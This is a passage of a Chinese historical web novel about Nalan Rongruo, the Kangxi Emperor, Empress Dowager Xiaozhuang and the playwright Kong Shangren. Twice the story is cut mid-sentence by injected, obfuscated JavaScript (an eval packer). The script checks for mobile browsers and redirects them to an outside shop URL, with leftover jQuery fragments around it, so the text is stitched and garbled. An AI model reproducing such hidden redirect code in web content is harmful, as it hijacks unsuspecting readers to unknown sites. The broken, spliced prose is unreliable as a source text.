“皇上要想在治水上先行君威,第一步要做的是:将黄河流经处、关系最紧密的几个省份亏欠朝廷的税银先收归国库,才能根正风气和让各地地方官免去被廉吏‘搜证’弹劾之苦。第二步要做的是:在水路沿侧详细做勘测,开垦出一个条陆路来,保证京师和南方之间的粮草大道无阻,这样日后即便起战事,也能解通途之忧。” “第三步——” 明珠擦了把汗,心想:儿啊,你再说下去,怕又是要被太皇太后软禁在侧暖阁一个月了。 看明珠如此反应,孝庄问他:“明珠,你有什么要说的?” 明珠应了句最直白的话:“回老祖宗,容若他该回家歇着了。” “那你就把他领回去。”孝庄吩咐道,“苏嬷嬷,你带纳兰去取素佩。” 明珠对爱子道:“容若,你还不快谢过老祖宗?” 容若起身,“纳兰,谢太皇太后。” 苏麻喇姑带路,“纳兰公子这边请——” “好。” 容若跟着苏嬷嬷,也明白了孝庄支开自己的用意。 等容若走后,孝庄私下对明珠道:“我大清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13607300|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本该人才济济,但是却无一官僚向皇上进言:派官僚去治水以后,皇上应该做什么。真是屈才了你的儿子。” 明珠敏锐道:“容若平时就爱读读书和填填词,一切跟国事相关的想法,都是他的一己之言,老祖宗莫怪。” “明珠啊,这样的好儿子你要珍惜着才是。” “还请老祖宗明示。” “有的话不必我多说,容若自己孤独脆弱的一面从来不敢让人看到,但我们这些长辈不自己体会不行啊!再有就是容若的政治才华和智慧,绝对不在你之下,就算是现在把他放到朝堂上去,跟你们这些重臣一起参议军国大事,他也不会输给任何人。但是容若这一生的机缘,是天注定的,老天爷要让容若走到哪一步、走到什么程度,那都归于他的命数!” “奴才大胆,不知道皇上怎么想?” “明珠你知道我最担心什么吗?” “奴才不知。” “我最担心的是:容若把皇上看透,一生心甘情愿、无怨无悔、臣为君死辅佐皇上;皇上却把容若看不透,一生对容若恩威并施,让自己的侧臣苦楚厌烦、却浑然不知已经伤害到他了。” “奴才一定顾及爱子的心情,尤其是苦楚厌烦情绪。多谢老祖宗提醒。” “好,你告退吧!” “是,明珠告退。” 苏麻喇姑送纳兰父子离开后,回到慈宁宫内为孝庄捶背。 好久,孝庄才开口说了话。 “处在矛盾中啊!”孝庄盘着手中的念珠,“我一方面格外喜欢纳兰这孩子,另一方面又觉得他离皇上太近不好。” 苏麻喇姑问:“老祖宗为什么这么说?” 孝庄眸眼之间充满了深邃与远见,道: “依赖侧臣是为君的大忌,君臣之间总有生离死别,要是哪一天纳兰不在了,皇上一蹶不振,那大清江山如何是好?人呐,没有那么快走的出来,一切振作或是以大局为重之言,都是漂亮话,关键时刻不管用。” 苏麻喇姑好心肠道:“那老祖宗就该盼着:纳兰公子跟咱们皇上相伴至终才是。” 孝庄点头:“但愿如此。” “苏嬷嬷,你去把皇上叫到我这来。” “是。” * 苏麻喇姑到来时,玄烨正在坤宁宫跟赫舍里皇后一起下棋。 玄烨问苏嬷嬷什么事,苏麻喇姑也只是告诉他:“皇上,老祖宗想着自己的孙儿了。” 赫舍里皇后起身:“臣妾恭送皇上。” 玄烨见皇后懂事,就对她道:“棋局留着别动,朕一会再回来。” 慈宁宫内。 玄烨向孝庄请了安,就在皇阿玛身边坐下。 孝庄看见玄烨手上戴着的东西,没有过问是怎么回事。 “你的纳兰,迟早有一天留不了!” ——皇阿奶,您的意思,到底是纳兰留不了?还是留不得? 玄烨神色一变,浑身发冷,并不知道孝庄为什么忽然这么说。 他只好立刻装出笑意,问:“皇阿奶方才是说,朕的纳兰?” “把皇祖母的话,往重点上去听。”孝庄仍旧认真,“到时候只怕是没人叫你杀他,你也会迫杀于他。” 玄烨倒是不懂了,孝庄怎么一见面就说这种不近人情的话,就跟是纳兰在言行之间犯了什么禁忌一样。 不过,玄烨觉得孝庄对纳兰的态度并不是爱恨交加,而是“又想保护又想不管”的无奈。 “孙儿哪会?即便是拔刀向纳兰、骂他大不敬、恨他罪他,那也只是显摆君威吓唬他,不会真的杀了他。” “玄烨,你的性子皇祖母了解。只怕纳兰的命,不在天、不在情、不再病,而在大清的康熙皇帝手中啊!” 玄烨失笑,皇阿奶到底是怎么了? 竟然把纳兰往生死上面去说了,纳兰今早不是好好的吗? 皇阿奶哪里见得:是朕心存杀机?或是纳兰自寻了什么找死的方法了? 朕是个明君,纳兰是个贤臣,仅此而已,彼此之间永远不会到“悲欢离合,君臣永别”的地步。 孝庄拿了一块芙蓉酥给玄烨,叮嘱道:“明珠父子,已经把家传的素佩拿回去了。以后皇上不许再胡闹,记下没有?” “孙儿还有。” 玄烨指的是纳兰给他雕刻的、跟素佩同样的图案的蜡烛。 “你说什么?”孝庄的护甲在不知不觉间一用力,压碎了一只自己欲吃的糕点,“你不止拿了人家的素佩,还……” “孙儿随口一说罢了,皇阿奶莫当真。” 看玄烨吃罢糕点,孝庄另换了一个话题。 “三月份说快不快,说慢不慢,选秀之日不过一个月便将至。皇上,挑后宫嫔妃不可由着自己的性子来,要审时度势、多方考虑才好,记下了吗?” “孙儿,记下了。” “皇后说了什么吗?” “赫舍里自然是说些为孙儿好和为孙儿解忧的话。选秀过程中,孙儿会顾及大清颜面和皇家体面,不让皇阿奶和皇后为难就是。” * 纳兰父子走出皇宫。 明珠提醒道:“容若,阿玛问你,太皇太后赏赐点心叫你带回家吃,你却把宫廷点心送了别人,是第几次了?” “到上次为止,是第三次。” 容若在心里一复盘,沈宛的的确确是吃了三回“宫廷御点”了。除了美味本身,她还喜欢装点心的盒子,说是精致、用来收纳小东西也极好。 “事不过三,这个‘香酥炸核桃’,回去之后,一家子一起吃。” “儿听阿玛的话。” 上马车时,明珠被容若的忽然反应吓了一跳:“你莫名其妙笑什么?” 容若指着点心盒子道:“儿听曹寅说,民间有个叫做孔尚任的人,考取功名不成,就写了不少戏剧片段,那些纸张不放在书桌上或是抽屉里,而是装在点心盒子里,不是很有趣吗?” 明珠道:“你怎么能拿普通人的点心盒子,跟太皇太后赏赐的比?” 容若道:“儿还听曹寅说,孔尚任打算放手一搏,把‘天下的纳兰公子’当作新作剧本的素材来写。儿向阿玛请个准,不管孔尚任写了什么,不治他的罪。” “他知道你什么?”明珠不悦,“连你的面都没见过,就有胆子拿你当主角,本官——” 明珠自然是不晓得,孔尚任之事并非是曹寅对容若说的,而是容若从沈宛口中听得的。 莫论孔尚任敢不敢或者有没有底气写“天下的纳兰公子”,容若自身能够先一步为这个落魄文人探明珠的口风,就是一种难得的慈悲和对不得志者的尊重。 50.第50章 纳兰父子的马车刚刚停靠在明府门口,就有争吵声入耳。 明珠先一步下车,容若呆在车室内,掀开帘子朝家门口看。 “放开他。”明珠走到那看着挺落魄的不速之客面前,“你是谁啊?” “参见明珠大人。学生孔尚任,一直仰慕纳兰公子才华,今日特来求见。” 明珠冷哼了一声,见容若没从马车上下来,只当容若是不想见眼前人,殊不知容若只是选择观察罢了。 孔尚任向明珠行了个大礼,高赞道:“纳兰公子真切鲜明、动人摇曳、天成意境、不染纤尘,可谓是世间之尤物。” 容若一惊,放下帘子,失重靠坐在车室内,自问:“动人摇曳,天成意境。何解何解?” 而在日后孔尚任的名震天下的四大杰作当中,切切实实是出现了对男主角的这般描述。 明珠背着双手,问那落魄者:“你来见我儿,所为何事啊?” 孔尚任自信道:“学生要干两件大事,有托纳兰公子相助。” 明珠一挑眉,一指那人,问:“你要干什么大事?” “学生要写一部大戏,以南明王朝的兴亡为背景,来歌颂民族英雄和忠贞爱情;学生知道纳兰公子作画题字天下一绝,特地带了白画扇前来,还请公子赐作《桃花扇》一把,取‘碧桃引春来,血红染东风’之意,让学生睹物而启智慧,文如泉涌。” “孔生,你是想害死我家公子吗?”管家终于忍不住骂了一句,“你这是叫我家公子助力你写反剧和写反诗?” 管家立刻问明珠:“请了老爷的意思,是否马上把这等狂徒抓起来?” 明珠淡定道:“要不是答应了容若不治孔尚任的罪,本官早叫人把他拿下了。” “学生谢纳兰公子!” 孔尚任跪地,对着天际发出一声高呼。 ——我在马车室内,你喊天做什么? 容若在孔尚任看不见的地方,探出脑袋看他的背影,对他招了招手。 明珠也不跟孔尚任计较“反”或者是“不反”了,只正经问他:“那你打算花费多长时间,把你口中的大作写成啊?” “十三年。” 孔尚任应的非常清晰。 容若听到,心里忽然觉得悲,十三年啊,这以后自己都怕已经作古了吧? 如果“江城五月落梅花,人生三十终抱憾”的预言成真的话,哪里还能看见孔尚任的完整完结作品? “你就该感谢我儿的那一笑和那一语。” 明珠摇了摇头,马车中父子的对话,自然是没必要让孔尚任知道。 “学生不懂明珠大人的意思。” “孔尚任,你回去吧,等到万事俱备之后,再来。” “学生还未见到纳兰公子,不能走。” “管家,送客。” 待到孔尚任被管家撵出去了一段路,容若才下了马车。 容若对车夫吩咐道:“你跟着孔尚任到他家去,把空白画扇取来。就说是纳兰公子的意思。” * 数日后。 “饮水词歌·素菜馆”的雅室内,容若和沈宛围圆桌而坐。 只是桌上无菜,唯有笔墨和词稿纸。 容若展开手中之物于桌面上,道:“宛卿你看,我新得了一把白画扇,扇主人说这扇叫做:桃花扇。” 沈宛才尝过公子给的精致点心,就笑道:“桃花哪及公子的芙蓉花和芙蓉酥?” 容若装作遗憾,道:“宛卿不解纳兰心事。” “谁说的?”沈宛只怕容若真伤了心,“公子的‘芙蓉’,是指渌水亭的渌水池里面的荷花,清水出芙蓉。可不是巴蜀地区的芙蓉花。” “我家的芙蓉酥其实是荷花酥,但是皇上在宫里吃的是模样跟芙蓉花一样的点心,我不告诉皇上。” “皇上迟早知道,你的词、你的所爱、你的兴趣,皇上都知道。没准皇上现在也在琢磨你。” “除了心事,纳兰容若就没有秘密了吗?” “公子的心事我能解,所以公子现在是个清澈见底的人。” “冰雪还未化呢,哪得溪流潺潺、冰清见石?” “化雪的时候冷,公子千万保重。勿要为了看清澈的溪流而邀约我。” “哦。原来宛卿想邀我去感受融雪融冰时的景色呀?我答应你。” “公子哪能把我的叮嘱当成反话来听?还自动自觉地说好?” “不行吗?”容若期待她的回应。 “不,我喜欢跟公子在一起。”沈宛承认了自己的小心思,“是我有意先偏惹公子的,我答应公子。” “那一起涉冷、破冰、看清水的宛卿,就归我了。” 容若情不自禁地握住沈宛的手,眉眼之间,写满了“太好了”的喜悦。 沈宛喜欢看容若率真的模样和神情。 她希望:能够把容若从一只笼中鸟,变成一个有自己的喜怒哀乐的人。如果再贪心一点,能够让容若在言语之间也自由自在就好了! 真盼着纳兰公子能做个寻常人呀,无拘无束,想做什么就做什么,想去哪儿就去哪儿,甚至是……想坦露心事就坦露心事,不必顾着眼前人是谁。 “桃之夭夭,灼灼其华。” 容若用镇纸上下压住了一张白纸。 “古人真是巧妙,以婀娜论柳树,以夭夭论桃树,总归是无关一个‘情’字,却被后世以‘情’字解。误了多少人,也包括孔尚任,宛卿你说是吗?” 沈宛一边研墨一边道:“公子博学蕴厚,便是知道《园有桃》里的这一句:园有桃,心之忧矣,我歌且谣。不知我者,谓我士也骄。彼人是哉,子曰何其?” 容若问她:“你说在汉人里面,有自己的庄园且庄园里的桃树长势良好,却故作忧愤、放声歌唱的人有多少?像孔尚任那般——无园思家、无树思桃;怀才不遇,却有理想有抱负之人又有多少?” “数不胜数。”沈宛道,“但能遇见公子和得公子一扇点悟之人,却唯有孔尚任一个。” “无从下手,不晓得该写该画什么。”容若搁了笔,“心中却是有不少替孔尚任想明白了的东西。” 沈宛伸出自己的掌心到容若面前,拔下自己的尖头珠钗,深邃道:“桃花要血染的才好、才真。” 容若摇头,后退了一步,“这么说你不觉得疼,但作为听者,我疼。” “公子不问我怎么认识孔尚任的?” “我只猜是因为你师傅。” “孔尚任确实找过我师傅,但是没聊什么国家大事,我瞧着孔尚任脑子里剧情颇多,全都等着落笔成字演绎出来呢。” “可惜大清科举不考这个,不然分化出一个独立的类目出来,孔尚任就是第一名。我阿玛推荐过禹之鼎为如意馆画师,但孔尚任不可能复刻禹之鼎的路线,毕竟我阿玛不糊涂,戏剧演绎,弥彰盖影和隐喻折射之幕众多,搞不好就是即时领罪即时掉脑袋,所以孔尚任的前途还得看他自己的造化。” “我还当孔尚任会向我师傅请教些南明王朝的轶话和旧事呢,结果楞是没有。所以我觉得孔尚任是忠于大清的,才把他推荐给公子。” “即便我有心关照他,有阿玛在,他也进不了我的渌水亭。”容若没让沈宛失望,“若是是孔尚任需要我资助,或是其他,宛卿你可以当这个信使。” “那公子就专心画这把空白折扇吧!”沈宛让容若坐下,“公子画好后,我代公子转交和传话给孔尚任。” “好。” 容若温情地回望了身后的沈宛一眼,重新拿起了笔。 * 两日后,养心殿内。 玄烨仍旧是戴着那十四瓣的金刚菩提子手串坐在纳兰面前,纳兰倒是没有什么特别反应,只照着玄烨的意思:拟写孝庄太皇太后的生日贺文。 “三月份皇宫里热闹的很,皇阿奶圣寿、后宫选秀、赏花宴。朕会非常忙碌,但朕喜欢这种充实感,关键是这些活动全是朕的家事,用不着你陪着参加。朕不找你出主意,你就不会遭殃。” 玄烨呵呵一笑,然后催了一句,“纳兰,朕吩咐的东西,你写出来没有?” “臣正在写。” 纳兰一抬头,看见的是玄烨半下袖子的、托着脑袋的左手手腕。 “你怎么不写快一些?” 玄烨继续搅了搅纳兰的思路。 “行文速度,要跟得上脑袋速度才行。太皇太后对臣有恩,臣不能随便写。” “你是代朕写、以朕的口吻写,不是为你自己写。” “臣说过多次了,代笔之事臣不能干。或者就是皇上找别的大学士干,总之臣现在写的,是出自自己的肺腑给太皇太后的生日礼贺之言。” 玄烨走到纳兰面前:“你这是抗旨!” 纳兰起身道:“是死罪,但不会身败名裂,臣认了。” 玄烨又道:“朕想着什么时候去一趟泰山,你随行。” “是。”纳兰露出高兴的表情,“冬春两季熬过,臣的身子就没有什么大碍,可随圣驾前去山东。” “你不是应该力劝朕此举不妥吗?”玄烨对纳兰的反应出乎意料,“自宋真宗之后,就没有皇帝在泰山封禅过。朕要是真往泰山去,满朝文武包括你阿玛明珠,不得个个站出来反对?” “那要看皇上打着什么名目去。”纳兰出了个主意,“皇上还年轻,目前没有驰骋天下的政绩和万众口碑,打着‘封禅’的旗号去自然是不成。但皇上要是说去泰山巡狩,满朝文武就不好反驳什么了。” “你接着说——” “巡狩之后,皇上登泰山题字,以字宣威,不是等于‘封禅’了吗?不是等于告诉天下‘少年天子心怀大业,大清江山千秋万代’了吗?” “不愧是朕的纳兰!”玄烨大喜,“朕不会食言,等到你进国子监读书然后考取了功名、等到河运漕运畅通无阻、等到三藩平定,朕就带你一起登上泰山,睥睨天下。” “一言为定。” “朕之一言,驷马难追。” 君臣走出殿外,一同站在菩提树下。 纳兰不再称臣,而是自称了“我”,因为他想对玄烨说真心话。 “皇上真觉得我进国子监读书能够得偿所愿吗?” 纳兰摇了摇头。 “你怕那些老师教不了你?还是怕那些老师不敢教你。” “我……只恐自己去国子监之后,一半时间是静心学习,另一半时间学着领教‘明珠的儿子’在那些老师心中是怎么样的存在。所以我的心扉还没有被敲开,还在准备怎么去面对学业和人情世故上的一切。” “人家索额图的次子格尔芬都不怕,你怕什么?” “这不一样。”怕玄烨误会,纳兰马上补充了一句,“我没有自恃天资聪颖、胜过索额图次子的意思。” “那些老师要是让你不如意,你直接跟朕说。” “那我就直说了,理藩院之事,照着皇上的意思我阿玛已经做了万全处理,但是挑事的徐乾学日后会当我的老师,我自知这层师生关系微妙,不如请皇上给我点忠告吧?” “那朕就给你一句最简单的话:你跟着徐乾学学知识,不跟着他学做人不就好了?” “我再问皇上,如果我觉得:徐乾学的城府颇深不输我阿玛明珠,我又当如何?” “那就不是你该考虑的了。那样一来,必将上升到朕该考虑的国事层面,朕肯定会顾着你的感受多一些。” “我相信皇上。” 透气过后,君臣两人又回到了养心殿内。 同时出现的,还有拿了茶点来的总管大太 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“孔兄是在写剧?还是在画画?平日里笔墨纸砚可还都够用?” “说来惭愧,我活在世二十余载,以为天下的墨水都一个样,直到见识了纳兰公子作画题字用的墨染,才晓得什么叫做:极致的人,配极致的墨啊!” “这有何不同?” “愚兄所用之墨,就是市井街头所买的寻常之墨;纳兰公子用的墨,肯定是皇上赐的内廷御用品——香味色泽绝佳、笔力神韵当恰、见字如见写者之心啊!” “皇室的东西再好,也要有能够驾驭的人才行,对吧?” “是这个道理,照我看,那好墨也就只有纳兰公子能用。” 入屋,容若瞧见: 自己作画题字的扇子,正立在孔尚任的书桌上,展屏似孔雀。 再看那那扇子的底部,竟然是用胶给黏在了凿了个小洞的桌坑之中,能抵狂风吹刮。 置扇的位置,那一小方片隅的独存,打扫的干干净净。 旁侧一踏稿,那增删千百次的剧作,摆放的整整齐齐。 “孔兄,我听说纳兰公子不爱看剧、从不听剧。” “胡说!”孔尚任用肃然起敬的目光看向桌面,“纳兰公子要是抵制庸俗演绎和百姓之乐,能给我这样的草民那把扇吗?” “我想应该是孔兄的大作还未流传于世、纳兰公子的思维还未从刻板典籍中走出来的缘故。” “难道不是明珠大人不让他看吗?难道不是他侍奉君侧不敢看吗?指不定他心中是向往着看、还偷偷看了不少呢。” “他没有偷看过,他家藏书阁的书都还没阅尽和悉数记下背诵。” “你怎么知道?” “啊……我猜的。忠孝之人,不会逆父命和君意去偷看剧作。” “纳兰公子才华天下第一,连他都不看戏剧的话,我岂非永无出头之日?” “孔兄,你的大作要写,学问也要精进。你是圣人孔子的后人,当今皇上心里清楚:要想天下太平,光是让众百姓安居乐业不够,还要让文人们知道大清的天子崇儒尊孔才行。如此一想,孔兄你会觉得自己的前途一片迷茫吗?” “贤弟的意思是——” “康熙皇帝是位圣君,他正走在建功立业的大道上。圣君霸业有成之后,不会不去泰山,不会不去孔庙,要是孔兄你能够以‘孔孙圣裔’身份被举荐为皇上的筵前讲经之人,获得皇上赏识,被破格录用为官的机会不就来了吗?” 孔尚任闻之大喜。 “贤弟所言极是啊!愚兄我必将是一边浪漫写剧、一边勤奋读经,好凭自己的学问和本事来博取一个面君之机。” “孔兄,要是日后你有机会与皇上和纳兰公子一起同游泰山,切记一点:现在是满清王朝统治中原,满人心中的第一圣山是长白山,而非五岳之首的泰山,皇上也是这么想的,你不可在皇上面前大论泰山的地位,私下对纳兰公子说倒是无妨。” “纳兰公子陪康熙皇帝去长白山祭祀吗?” “自然是去。” “帝王太无情了!努尔哈赤铁血征服了北关的叶赫那拉部族,康熙皇帝怎么能带着有亡族之悲的纳兰性德去长白山?” 容若一怔,他没有想到:世间竟然还有第二位懂懂纳兰心情的人,那就是萍水相逢的落魄书生孔尚任。 “贤弟。”孔尚任一拍身边公子的肩膀,“你这是怎么了?” “想做一只杜鹃,啼血求君也好、自托好梦也罢,终究是摆脱不了。” “摆脱不了什么?愚兄不解贤弟之意啊!惭愧惭愧。” “作为圣君康熙皇帝的陪臣,纳兰性德没得选。” 容若借用孔尚任的笔墨,在白纸写下: 杜鹃啼血话未消, 化作好梦入君肠。 孔尚任见字大惊,此字跟折扇上的题字,不是同一个人写的吗? 难道,他就是…… 孔尚任向眼前人一拜,“请问公子是——” “动人摇曳,天成意境。” 容若另换了一张纸写下,笑着,真诚地把自己的字给他,“你这八个字用的好,希望我可以担的起。” 两张纸,两份心情。 在皇帝身边,他愿意鞠躬尽瘁、啼血而身死; 在朋友身侧,他愿意真心相待、一语胜百言。 天下的纳兰公子,是个豪迈又耗己、温情又自知的人; 天下的纳兰公子,是个真挚且友善、相帮不求报的人。 孔尚任望着策马而去的背影,九十度鞠躬,大声感激道: “多谢纳兰公子!后会有期!!” 51.第51章 一日,容若被明珠叫到房中。 桌上,摆放着两样的东西,看样子是刚刚送来的。 明珠道:“内阁学士徐乾学,遣人送来了我喜欢的名家的字画和适合你阅读的古抄本十二卷。如何,在你即将进入国子监读书之际?” 容若拿了一卷古抄本在手,“这是明摆着在暗示阿玛:照着容若的资质,国子监祭酒徐元文教不了,得由他的哥哥徐乾学亲自来教。” “我儿自小是我亲自教骑射与诗书,到国子监读书,也不过是适龄之举。徐乾学竟然敢先走这么一步棋,投纳兰父子所好,真是应了一句话:满人官员多质朴,汉人官员多取巧。” “儿不巧看到了一份密折,上书‘天江一览’四字,看着像是站在明党一边盼着阿玛举荐的治水能人靳辅能成事,但是仔细一想,就是奉承皇上之举,上书者是个不折不扣的弄臣,阿玛应当能猜到此人是谁。” 明珠点了点头,然后谨慎地问了句:“皇上连密折都让你看?” 容若有自知之明:“儿以后会谨慎,知道太多和介入太多皇上的公务不妥。免得到时候太皇太后责备和群臣弹劾,儿想自保也保不了自己。” “皇上主动叫你分忧是一回事,但是用此举来暗示你:明珠哪里做的不妥、明珠什么行为踩了线、明珠有何举动触怒了龙颜,又是另一回事。你要自己把握好分寸啊!” “是,儿记下了。” 外头忽然响起了敲门声。 管家进来,询问道:“请老爷和公子的意思,徐先生送来的字画和古籍抄本,是留下?销毁?还是还回去?” 容若道:“徐先生送书给我是一回事,我领不领情是另一回事,如果徐先生不知我的态度,日后师生之间的交锋岂非无趣?那些书,拿到我书房里去。” 管家应了“是”,复对着字画问:“老爷的意思呢?” “本官不想打开来看。”明珠把字画一推,“立刻销毁,不可留痕迹。” “快去按照阿玛的意思办。”容若催道,“你自己亲自办。” “阿玛割爱了。字画,的确是销毁妥当。”容若淡淡看着明珠的神情,转而道,“只怕是送书和送画过来的人,已经不在这个世上了。” 明珠饮尽盏中茶,“这一趟‘送礼’,徐乾学不亲自来,足以说明他的心思。” “可见他手下也有不少愿意豁出性命去为他办事的人啊!”容若疑惑问,“这在汉人当中,是不是叫‘义气’?” “明索党争,比起汉人们的‘义气’之聚,算得了什么?”明珠冷笑,“汉人们的串通一气和同舟共济,才是朝廷的一大患吧?” “可惜。”容若想到皇上想登泰山之事,“要想皇权正统,满汉一体之策还得对那类有才学的汉人有所包容啊!” 明珠忽然气的的一拍桌子,怒道: “我进谏皇上重视汉学和理学,也重视对我的三个儿子的汉学教育,结果换来什么?朝中竟然有人匿名弹劾:明珠一为结交党羽,二为投皇帝所好,三为修书扬名,四为教子误国,五为集结门生,所以才那么干!” “哦,阿玛的‘五大罪’,其中儿也担了一条。” 明珠看着容若脸上的温润笑意,倒也减了减怒火。 ——我的容若尚且风轻云淡至此,我也不能动干戈过甚。 ——把自己受的那些气发泄在儿子面前,说白了还是我明珠“无能”啊! * 晚膳后,容若邀明珠到渌水亭散步。 明珠看不进去风雪和冷月,心里装的还是官场之事。 容若瞧着走廊内部沾雪的花卉,心情尚佳。 明珠终于停下脚步,问儿子:“十日后你到国子监读书,准备的怎么样了?” 容若道:“儿以为,除了音乐之外,其余各项授学科目:经史、诗词、礼仪,自身都已经接近完人,便以深究博引、广猎新域为主。。” 明珠问:“徐乾学的人品为你所不耻,但他家里的藏书可是吸引你?” 容若笑道:“古本、珍本、绝本,儿自然是爱,徐先生若是肯为我开个自由阅读的准,我倒不想拒绝。” “你真不怕徐乾学在藏书楼里、趁你两耳不闻窗外事之时害了你吗?” “儿要是因此死了,那就是儿的大意;反之儿好好活着,又把知识海纳在胸,那就是儿的本事。” “阿玛是担心你,你额娘也一样。” “阿玛额娘放心吧,儿只是去国子监接受一程人生历练,让自己这颗还未怎么接触过——极致的人性黑白与冷暖的心,开扇窗。” “苦了你呀,容若。” “是苦,儿明明一直活的透彻、看的透彻,却非要去面对学业上的勾心斗角。儿的确是不喜欢。” 听儿子说了这么一番真心话,明珠感同身受。 当年明珠通过勤学苦读考取功名,进入国子监,也不过是表面与人切磋文章和讨论经典罢了,内心无时无刻不在提防同期和盘算自己的前途。 如今自己官居高位,可以让爱子容若历经层层选拔入读国子监,本该是件乐事,却因为各种利益关系而使得:父子二人都觉得“苦”。 ——说出去、传出去,指不定会被索额图和索党之人如何笑话。 “皇上的老师熊赐履是索党之人,弄错了票拟之事,索额图便将他当作弃子处理。诚然一个心术不正的人不可以为帝师,但是有人想借助阿玛之手,让皇上重新再启用熊赐履,那个人就是徐乾学。” “你怎么看得出来,徐乾学是抱着这个目的来投我所好?” “徐乾学崇尚理学,必以理学大家熊赐履为师。如果儿没猜错,故意弹劾阿玛‘五大罪’的匿名折子,就是徐乾学写的。” “刁钻啊!”明珠在石桌侧坐下,“一边损我明珠,一边有求于我明珠,如此擅长背后放冷箭、又如此擅长正面下战书之人,怕是你我父子不得不认真应对。” “此次徐乾学的用意,儿跟阿玛已经看破,那就到此为止不再论。儿有句话对阿玛说:需提防熊赐履和索额图不计前嫌重归于好,再次针对于阿玛你。” “你就这么肯定,熊赐履还能重新回朝?” “皇上想——” 容若本想把“登泰山”之事说出,最终做了罢。 容若自己清楚,皇上口中的“登泰山”之言,绝不是玩笑话。 “你不说,阿玛也不勉强你。”明珠显得宽和,“再一起在渌水亭走走吧!” “好。” 父子两人,一起迎上了月色。 * 数日后,瓜尔佳府邸。 朴尔普听到女儿云辞说去明珠府上找纳兰公子时,瞬间喜不自胜。 “女儿啊,你终于是开窍了呀!我这贤婿就该是纳兰性德,不是什么禹之鼎。” “阿玛说什么呢?云辞不是去找纳兰公子谈情说爱的。” “不管你去找纳兰干什么,阿玛都准你。” 云辞不知道该说什么好,只怕是自己越说、越被阿玛误会。 其实她去找纳兰,就是想找他出去走走,说说话,没有别的意思。 谁叫: ——官云辞和纳兰性德都是八旗子弟中的奇葩,没有一个同龄的八旗子弟朋友,除了皇上。 ——官云辞和纳兰性德都是“棘手”的学生,一个博学善书国子监的大儒们人人不敢教,另一个特立独行只有洋人师傅能教。 这倒成了彼此的共鸣点,也是不可思议。 云辞笑了笑,走出了家门。 * 容若必然是不知道云辞要来,所以他照着自己的计划行事。 他打算驰马去八旗世子们“练习骑射”和“交流趣事”的郊外围场看看,诚然是没人邀请他,他自己有了这样的意愿罢了。 出门前,容若吃了好些药,是为了防止身子出差池。 他叫侍女袖云瞒着明珠夫妇,不是行程而是吃药这件事。 “围观。”容若这般告诉袖云,“却也想沾染一些围场里的尘土,跟他们一较高下。” “他们里面肯定有公子的国子监同窗,较量何须分文武?”袖云为容若穿好衣装,“公子心到眼到,就是值得。” “我试试看,能否跟他们说上话。” “能够。袖云祝公子此程顺利。” * 容若骑马的身姿自不必说,一绝; 容若射箭的功夫也不必说,一流。 快靠近郊外围场的时候,容若下意识地放慢了马匹的速度。 抬头,他看见了空中的飞鸟。 照理说,这个冬季是没有飞鸟的,所以只能推论:飞鸟的出现,来自围场里的小厮们的特别训练。 只是,容若觉得遗憾:为什么从场子里飞上天去无数只箭,就是没有射中飞鸟的?是里面的八旗子弟功夫不到家,还是飞鸟懂人性刻意躲闪? 走近,容若以绝佳的仪态下了马,牵缰绳在手。 看守甲问:“你谁呀?来这干什么?” 容若从马上拿出自己带来的弓箭,后仰身子,面朝天穹,潇洒地瞄准目标一出手,射中了飞鸟腿上做记号的红绳。 容若一笑,翻身一跃,稳稳地抓住了从天上掉落之物。 风雅道:“这个红绳归我了,我不射飞鸟,只取这好意头之物:平安吉祥、事事顺遂。” 看守乙对眼前不懂规矩的公子冷问:“你知道这是什么地方吗?” 容若往里面一望,“知道,八旗子弟们切磋武艺之所。” 看守乙神色厌烦地摆出了赶人的姿态:“那就是你不该来的地方,认清楚自己的身份!” “那你觉得我是什么身份?” “只懂得些笔墨伎俩,却把刚刚学到手的武艺故意拿出来显摆的、温柔乡里的贵公子。” 看守乙绕着容若走了一圈,然后停在他面前摇了摇头:“顶多就是家里有钱,算不得是身份尊贵之人。” “我要进去。” “放你进去,我们的差事就丢了!”看守甲左手执剑一拦,“里面的可都是八旗王族亲贵的世子,再不济也是三品大员以上的官僚的儿子,你要是想结交朋友,那就是来错地方了。” “明珠的儿子也不能进吗?” 看守甲大笑:“明珠家的‘露水’自然是更加不能进,万一贵公子在围场里蒸发了,怪谁?更何况‘纳兰性德’的名字,在围场里本身就是禁忌词。” 容若一紧握手中的红绳,心想:于成龙这一闹,是要把他强加于我身上的“露水”之称,变成史实“扬名后世”吗? ——玉珠永存,露水易逝。 ——果然阿玛是疼爱我的,阿玛的政敌都是不想我活太长的。 称呼不同,一生流年,长久与短暂,对比如此鲜明而已。 * 围场之内,八旗子弟们对飞鸟爪子上的记号红绳被射下一事,无不震惊。 有这本事的人,武功必定是十分了得,内心也必定十分慈悲。 “照我看,是师傅射的。” “不不不,师傅今日不当值,即便是当值,也会直取飞鸟性命。师傅平日里不是教我们:只要可以达到目的,狩猎飞禽走兽,不必只取一羽一毫一标记,一击必杀亦是无可厚非吗?” “万一是我们的同龄人射的呢?比如说皇上。” 一阵笑声伴随着奶茶香炸裂了出来。 仿佛今天最大的“笑料”就如此诞生了一般,八旗子弟们乐在其中。大清的少年天子行猎,场面大的很,哪能偷偷摸摸地命中目标、叫人猜测? “哈哈,你怎么不说是纳兰性德干的呢?” “纳兰公子清冷,目中无尘,看不起我们这些人,不屑跟我们混在一起。他只效忠皇上,就跟自己的才学只有皇上才配消受一般。” “没错,没错。” “是神是佛,是人是鬼,是皇上还是纳兰兄,我代各位出去看看不就知道了?” “格尔芬,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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——莫不如是叫了公子一起,同入围场之内,与八旗子弟一同试身手、饮奶茶,一改大伙对公子的刻板印象,岂不畅快? 格尔芬钦佩道:“纳兰兄这两句妙笔,必将成为千古名句啊!” 